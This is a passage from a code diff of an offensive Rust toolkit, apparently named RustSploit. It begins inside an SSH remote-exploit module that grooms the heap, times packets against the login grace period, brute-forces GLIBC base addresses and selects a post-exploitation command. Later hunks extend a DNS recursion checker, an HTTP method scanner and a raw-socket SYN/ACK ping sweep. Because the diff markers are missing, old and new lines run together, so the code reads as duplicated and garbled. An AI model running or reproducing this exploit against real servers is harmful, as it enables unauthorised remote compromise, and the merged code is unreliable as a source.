b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
};
let start = Instant::now();
send_packet(stream, 50, &error_packet_data).await?;
send_packet(stream, 50, error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = stream.read(&mut buf).await;
let _ = recv_retry(stream, &mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
Ok(t2 - t1)
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let parsing_time = t2 - t1;
Ok(parsing_time)
}
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut public_key_packet_data, glibc_base);
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut final_packet, glibc_base);
let to_send = final_packet.len() - 1;
stream.write_all(&final_packet[..to_send]).await?;
stream.flush().await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if wait_time > 0.0 {
sleep(Duration::from_secs_f64(wait_time)).await;
}
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
Ok(Ok(0)) => Ok(true),
stream.write_all(&final_packet[to_send..]).await?;
stream.flush().await?;
let mut response = [0u8; 1024];
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
Ok(Ok(n)) if n == 0 => Ok(true),
Ok(Ok(n)) if n > 0 => {
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
Ok(true)
} else {
Ok(false)
}
}
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true), // Timeout might indicate success
Err(_) => Ok(true),
}
}
@@ -253,33 +279,9 @@ fn get_postex_command(action: u8) -> String {
}
}
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
@@ -295,7 +297,6 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
@@ -305,25 +306,23 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_e) => {
return Ok(false);
}
Err(_) => return Ok(false),
};
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_e) => {
return Ok(false);
}
Err(_) => return Ok(false),
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
@@ -369,6 +368,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
}
return Ok(true);
}
sleep(Duration::from_millis(100)).await;
Ok(false)
}));
}
@@ -431,5 +432,29 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
}
}
execute_exploit_logic(ip_address, port_num).await
}
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
io::stdout().flush().ok();
let mut choice_str = String::new();
io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
}
+12 -15
View File
@@ -7,12 +7,12 @@ use std::io::{self, BufRead, BufReader, Write};
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
use std::path::Path;
use std::time::Duration;
use trust_dns_client::client::{AsyncClient, ClientHandle};
use trust_dns_client::proto::op::ResponseCode;
use trust_dns_client::rr::{DNSClass, Name, RecordType};
use trust_dns_client::udp::UdpClientStream;
use trust_dns_proto::op::Message;
use trust_dns_proto::xfer::DnsResponse;
use hickory_client::client::{AsyncClient, ClientHandle};
use hickory_client::proto::op::ResponseCode;
use hickory_client::rr::{DNSClass, Name, RecordType};
use hickory_client::udp::UdpClientStream;
use hickory_proto::op::Message;
use hickory_proto::xfer::DnsResponse;
use tokio::net::UdpSocket;
#[derive(Clone, Debug)]
@@ -124,12 +124,12 @@ async fn query_target(
.with_context(|| format!("DNS query to {} failed", display_target))?;
let (message, _) = response.into_parts();
report_result(&message, name, record_type);
report_result(&message, display_target, record_type);
Ok(())
}
fn report_result(message: &Message, name: &Name, record_type: RecordType) {
fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
let recursion_available = message.recursion_available();
let recursion_desired = message.recursion_desired();
let authoritative = message.authoritative();
@@ -162,7 +162,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
"{}",
format!(
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
name,
display_target,
record_type,
if authoritative { "(authoritative data returned)" } else { "" }
)
@@ -178,7 +178,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
"{}",
format!(
"[-] {} reports recursion available but refused the request (likely ACL protected).",
name
display_target
)
.yellow()
);
@@ -187,7 +187,7 @@ fn report_result(message: &Message, name: &Name, record_type: RecordType) {
"{}",
format!(
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
name
display_target
)
.red()
);
@@ -632,7 +632,4 @@ fn validate_domain_input(input: &str) -> Result<String> {
));
}
Ok(without_dot.to_lowercase())
}
}
+59 -61
View File
@@ -8,14 +8,14 @@ use std::time::Duration;
const METHODS: &[&str] = &[
"GET",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
];
struct MethodResult {
@@ -55,7 +55,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
false,
)?;
let ports = if use_ports {
prompt_ports()?
@@ -65,10 +65,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
let timeout_secs: u64 = timeout_input
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
@@ -88,11 +88,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let mut all_results = Vec::new();
@@ -110,10 +110,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
let start = std::time::Instant::now();
let response = if let Some(ref payload) = body {
client
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
} else {
client.request(method.clone(), target).send().await
};
@@ -126,10 +126,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
if verbose {
println!(
" [{}] {} -> {} ({:.2?})",
method_name,
target,
status,
elapsed
method_name,
target,
status,
elapsed
);
} else {
println!(" [{}] {}", method_name, status);
@@ -137,19 +137,19 @@ pub async fn run(initial_target: &str) -> Result<()> {
method_results.push(MethodResult {
method: method_name,
status: Some(status),
ok,
error: None,
duration_ms: elapsed.as_millis(),
ok,
error: None,
duration_ms: elapsed.as_millis(),
});
}
Err(err) => {
if verbose {
println!(
" [{}] {} -> error: {} ({:.2?})",
method_name,
target,
err,
elapsed
method_name,
target,
err,
elapsed
);
} else {
println!(" [{}] error: {}", method_name, err);
@@ -159,7 +159,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
status: None,
ok: false,
error: Some(err.to_string()),
duration_ms: elapsed.as_millis(),
duration_ms: elapsed.as_millis(),
});
}
}
@@ -167,7 +167,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
all_results.push(TargetResult {
target: target.clone(),
results: method_results,
results: method_results,
});
}
@@ -178,7 +178,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
@@ -192,11 +192,11 @@ fn banner() {
println!(
"{}",
r#"
╔══════════════════════════════════════════════════════╗
║ HTTP METHOD CAPABILITY SCANNER ║
║ Checks support for common verbs ║
╚══════════════════════════════════════════════════════╝
"#
╔══════════════════════════════════════════════════════╗
║ HTTP METHOD CAPABILITY SCANNER ║
║ Checks support for common verbs ║
╚══════════════════════════════════════════════════════╝
"#
);
}
@@ -211,15 +211,15 @@ fn collect_initial_targets(initial_target: &str) -> Vec<String> {
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
@@ -233,8 +233,8 @@ fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String>
continue;
}
let formatted = if target.starts_with("http://")
|| target.starts_with("https://")
|| target.contains("://")
|| target.starts_with("https://")
|| target.contains("://")
{
target.to_string()
} else {
@@ -253,11 +253,10 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut seen = HashSet::new();
for target in targets {
if let Ok(url) = Url::parse(target) {
if let Ok(mut url) = Url::parse(target) {
for port in ports {
let mut candidate = url.clone();
if candidate.set_port(Some(*port)).is_ok() {
let final_url = candidate.to_string();
if url.set_port(Some(*port)).is_ok() {
let final_url = url.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
@@ -281,14 +280,14 @@ fn prompt(message: &str) -> Result<String> {
io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(&format!("{}", message))?;
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
@@ -358,20 +357,19 @@ fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
method.method,
status.as_u16(),
method.ok,
method.duration_ms
method.ok,
method.duration_ms
));
} else if let Some(ref error) = method.error {
lines.push(format!(
" - {:<7} error: {} time: {} ms",
method.method,
error,
method.duration_ms
method.method, error, method.duration_ms
));
}
}
lines.push(String::new());
}
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
fs::write(path, lines.join("\n"))
.with_context(|| format!("Failed to write report to {}", path))
}
+519 -5
View File
@@ -1,17 +1,25 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use ipnet::IpNet;
use libc;
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
use pnet_packet::Packet;
use socket2::{Domain, Protocol, Socket, Type};
use std::{
collections::HashSet,
fs::File,
io::{self, BufRead, BufReader, Write},
net::{IpAddr, SocketAddr},
net::{IpAddr, Ipv4Addr, SocketAddr},
sync::{
atomic::{AtomicUsize, Ordering},
Arc,
Arc, Mutex,
},
};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
use rand::Rng;
use std::mem::MaybeUninit;
#[derive(Clone, Debug)]
struct PingConfig {
@@ -20,12 +28,16 @@ struct PingConfig {
concurrency: usize,
timeout_secs: u64,
verbose: bool,
save_up_hosts: Option<String>,
save_down_hosts: Option<String>,
}
#[derive(Clone, Debug)]
enum PingMethod {
Icmp,
Tcp { ports: Vec<u16> },
Syn { ports: Vec<u16> },
Ack { ports: Vec<u16> },
}
impl PingMethod {
@@ -46,6 +58,34 @@ impl PingMethod {
)
}
}
PingMethod::Syn { ports } => {
if ports.len() == 1 {
format!("SYN/{}", ports[0])
} else {
format!(
"SYN [{}]",
ports
.iter()
.map(u16::to_string)
.collect::<Vec<_>>()
.join(",")
)
}
}
PingMethod::Ack { ports } => {
if ports.len() == 1 {
format!("ACK/{}", ports[0])
} else {
format!(
"ACK [{}]",
ports
.iter()
.map(u16::to_string)
.collect::<Vec<_>>()
.join(",")
)
}
}
}
}
@@ -53,6 +93,8 @@ impl PingMethod {
match self {
PingMethod::Icmp => "ICMP",
PingMethod::Tcp { .. } => "TCP",
PingMethod::Syn { .. } => "SYN",
PingMethod::Ack { .. } => "ACK",
}
}
@@ -60,6 +102,8 @@ impl PingMethod {
match self {
PingMethod::Icmp => icmp_probe(ip, timeout).await,
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
PingMethod::Syn { ports } => syn_probe(ip, ports, timeout).await,
PingMethod::Ack { ports } => ack_probe(ip, ports, timeout).await,
}
}
}
@@ -174,6 +218,23 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
// Ask about saving results
let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? {
let default_file = "ping_sweep_up_hosts.txt";
let file_path = prompt_with_default("Output file for up hosts", default_file)?;
Some(file_path)
} else {
None
};
let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? {
let default_file = "ping_sweep_down_hosts.txt";
let file_path = prompt_with_default("Output file for down hosts", default_file)?;
Some(file_path)
} else {
None
};
let methods = loop {
let mut methods = Vec::new();
@@ -193,6 +254,30 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
}
}
if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
} else {
methods.push(PingMethod::Syn { ports });
}
}
if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
} else {
methods.push(PingMethod::Ack { ports });
}
}
if methods.is_empty() {
println!("{}", "Select at least one method.".red().bold());
continue;
@@ -218,6 +303,8 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
concurrency,
timeout_secs,
verbose,
save_up_hosts,
save_down_hosts,
})
}
@@ -294,6 +381,11 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let processed_counter = Arc::new(AtomicUsize::new(0));
let start_time = std::time::Instant::now();
// Collections for saving results
let up_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
let down_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
let mut tasks = Vec::new();
for ip in hosts {
@@ -301,6 +393,8 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let methods_clone = methods.clone();
let success_clone = success_counter.clone();
let processed_clone = processed_counter.clone();
let up_list = up_hosts_list.clone();
let down_list = down_hosts_list.clone();
tasks.push(tokio::spawn(async move {
let permit = match sem.acquire_owned().await {
Ok(p) => p,
@@ -363,8 +457,18 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
)
.green()
);
} else if verbose {
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
// Add to up hosts list
if let Ok(mut list) = up_list.lock() {
list.push(ip_string.clone());
}
} else {
// Add to down hosts list
if let Ok(mut list) = down_list.lock() {
list.push(ip_string.clone());
}
if verbose {
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
}
}
}));
}
@@ -387,6 +491,54 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
.bold()
);
// Save results to files if requested
if let Some(ref up_file) = config.save_up_hosts {
let up_list = up_hosts_list.lock().unwrap();
if !up_list.is_empty() {
match save_hosts_to_file(&up_list, up_file) {
Ok(_) => {
println!("{}", format!("[+] Saved {} up hosts to '{}'", up_list.len(), up_file).green());
}
Err(e) => {
eprintln!("{}", format!("[!] Failed to save up hosts to '{}': {}", up_file, e).red());
}
}
} else {
println!("{}", format!("[*] No up hosts to save to '{}'", up_file).yellow());
}
}
if let Some(ref down_file) = config.save_down_hosts {
let down_list = down_hosts_list.lock().unwrap();
if !down_list.is_empty() {
match save_hosts_to_file(&down_list, down_file) {
Ok(_) => {
println!("{}", format!("[+] Saved {} down hosts to '{}'", down_list.len(), down_file).green());
}
Err(e) => {
eprintln!("{}", format!("[!] Failed to save down hosts to '{}': {}", down_file, e).red());
}
}
} else {
println!("{}", format!("[*] No down hosts to save to '{}'", down_file).yellow());
}
}
Ok(())
}
fn save_hosts_to_file(hosts: &[String], file_path: &str) -> Result<()> {
let mut file = File::create(file_path)
.with_context(|| format!("Failed to create file '{}'", file_path))?;
for host in hosts {
writeln!(file, "{}", host)
.with_context(|| format!("Failed to write to file '{}'", file_path))?;
}
file.flush()
.with_context(|| format!("Failed to flush file '{}'", file_path))?;
Ok(())
}
@@ -469,6 +621,368 @@ async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<
Ok(successes)
}
async fn syn_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
// SYN scan only works with IPv4
let ipv4 = match ip {
IpAddr::V4(addr) => *addr,
IpAddr::V6(_) => {
return Err(anyhow!("SYN scan only supports IPv4 addresses"));
}
};
let mut successes = Vec::new();
for port in ports {
match syn_probe_single(&ipv4, *port, timeout).await {
Ok(true) => successes.push(format!("SYN/{}", port)),
Ok(false) => {}
Err(e) => {
// Silently continue on errors (permission denied, etc.)
if e.to_string().contains("Permission denied") {
return Err(anyhow!("SYN scan requires root privileges. Run with sudo or use TCP connect scan instead."));
}
}
}
}
Ok(successes)
}
async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
use std::net::Ipv4Addr as StdIpv4Addr;
use std::net::IpAddr as StdIpAddr;
// Create raw socket for sending
let sender = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create raw socket for SYN scan")?;
sender
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Create raw socket for receiving TCP responses
let receiver = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::TCP),
)
.context("Failed to create receiver socket for SYN scan")?;
receiver
.set_read_timeout(Some(timeout))
.context("Failed to set read timeout")?;
// Get source IP (use a dummy IP if we can't determine it)
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
// Craft SYN packet - generate all random values before any await
let (src_port, seq_num, ip_id) = {
let mut rng = rand::rng();
(
rng.random_range(49152..=65535),
rng.random::<u32>(),
rng.random::<u16>(),
)
};
let tcp_header_len = 20;
let mut tcp_buf = vec![0u8; tcp_header_len];
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
tcp_pkt.set_source(src_port);
tcp_pkt.set_destination(port);
tcp_pkt.set_sequence(seq_num);
tcp_pkt.set_acknowledgement(0);
tcp_pkt.set_data_offset(5);
tcp_pkt.set_flags(TcpFlags::SYN);
tcp_pkt.set_window(65535);
tcp_pkt.set_urgent_ptr(0);
let tcp_immutable = tcp_pkt.to_immutable();
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
// Craft IP packet
const IPV4_HEADER_LEN: usize = 20;
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
ip_pkt.set_version(4);
ip_pkt.set_header_length(5);
ip_pkt.set_total_length(total_len);
ip_pkt.set_identification(ip_id);
ip_pkt.set_ttl(64);
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip_pkt.set_source(src_ip);
ip_pkt.set_destination(*ip);
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
ip_pkt.set_payload(tcp_pkt.packet());
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
// Send packet (blocking operation)
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
sender
.send_to(ip_pkt.packet(), &dst_addr.into())
.context("Failed to send SYN packet")?;
// Listen for response using spawn_blocking for async compatibility
let receiver_arc = Arc::new(receiver);
let start = std::time::Instant::now();
while start.elapsed() < timeout {
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
let ip_clone = *ip;
let port_clone = port;
let src_ip_clone = src_ip;
let src_port_clone = src_port;
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
match recv_result {
Ok(Some((data, _))) => {
if data.len() < IPV4_HEADER_LEN {
tokio::time::sleep(Duration::from_millis(10)).await;
continue;
}
// Parse IP header
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
// Parse TCP header
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
if data.len() >= tcp_offset + 20 {
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
let flags = tcp_recv.get_flags();
// SYN-ACK means port is open
if flags & (TcpFlags::SYN | TcpFlags::ACK) == (TcpFlags::SYN | TcpFlags::ACK) {
return Ok(true);
}
// RST means port is closed but host is up
if flags & TcpFlags::RST == TcpFlags::RST {
return Ok(true); // Host is up
}
}
}
}
}
}
}
Ok(None) => {
// Timeout or would block - continue waiting
tokio::time::sleep(Duration::from_millis(10)).await;
}
Err(_) => {
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
}
Ok(false)
}
async fn ack_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
// ACK scan only works with IPv4
let ipv4 = match ip {
IpAddr::V4(addr) => *addr,
IpAddr::V6(_) => {
return Err(anyhow!("ACK scan only supports IPv4 addresses"));
}
};
let mut successes = Vec::new();
for port in ports {
match ack_probe_single(&ipv4, *port, timeout).await {
Ok(true) => successes.push(format!("ACK/{}", port)),
Ok(false) => {}
Err(e) => {
// Silently continue on errors (permission denied, etc.)
if e.to_string().contains("Permission denied") {
return Err(anyhow!("ACK scan requires root privileges. Run with sudo or use TCP connect scan instead."));
}
}
}
}
Ok(successes)
}
async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
use std::net::Ipv4Addr as StdIpv4Addr;
use std::net::IpAddr as StdIpAddr;
// Create raw socket for sending
let sender = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create raw socket for ACK scan")?;
sender
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Create raw socket for receiving TCP responses
let receiver = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::TCP),
)
.context("Failed to create receiver socket for ACK scan")?;
receiver
.set_read_timeout(Some(timeout))
.context("Failed to set read timeout")?;
// Get source IP
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
// Craft ACK packet - generate all random values before any await
let (src_port, seq_num, ip_id) = {
let mut rng = rand::rng();
(
rng.random_range(49152..=65535),
rng.random::<u32>(),
rng.random::<u16>(),
)
};
let tcp_header_len = 20;
let mut tcp_buf = vec![0u8; tcp_header_len];
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
tcp_pkt.set_source(src_port);
tcp_pkt.set_destination(port);
tcp_pkt.set_sequence(seq_num);
tcp_pkt.set_acknowledgement(0);
tcp_pkt.set_data_offset(5);
tcp_pkt.set_flags(TcpFlags::ACK);
tcp_pkt.set_window(65535);
tcp_pkt.set_urgent_ptr(0);
let tcp_immutable = tcp_pkt.to_immutable();
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
// Craft IP packet
const IPV4_HEADER_LEN: usize = 20;
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
ip_pkt.set_version(4);
ip_pkt.set_header_length(5);
ip_pkt.set_total_length(total_len);
ip_pkt.set_identification(ip_id);
ip_pkt.set_ttl(64);
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip_pkt.set_source(src_ip);
ip_pkt.set_destination(*ip);
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
ip_pkt.set_payload(tcp_pkt.packet());
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
// Send packet (blocking operation)
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
sender
.send_to(ip_pkt.packet(), &dst_addr.into())
.context("Failed to send ACK packet")?;
// Listen for response using spawn_blocking for async compatibility
let receiver_arc = Arc::new(receiver);
let start = std::time::Instant::now();
while start.elapsed() < timeout {
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
let ip_clone = *ip;
let port_clone = port;
let src_ip_clone = src_ip;
let src_port_clone = src_port;
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
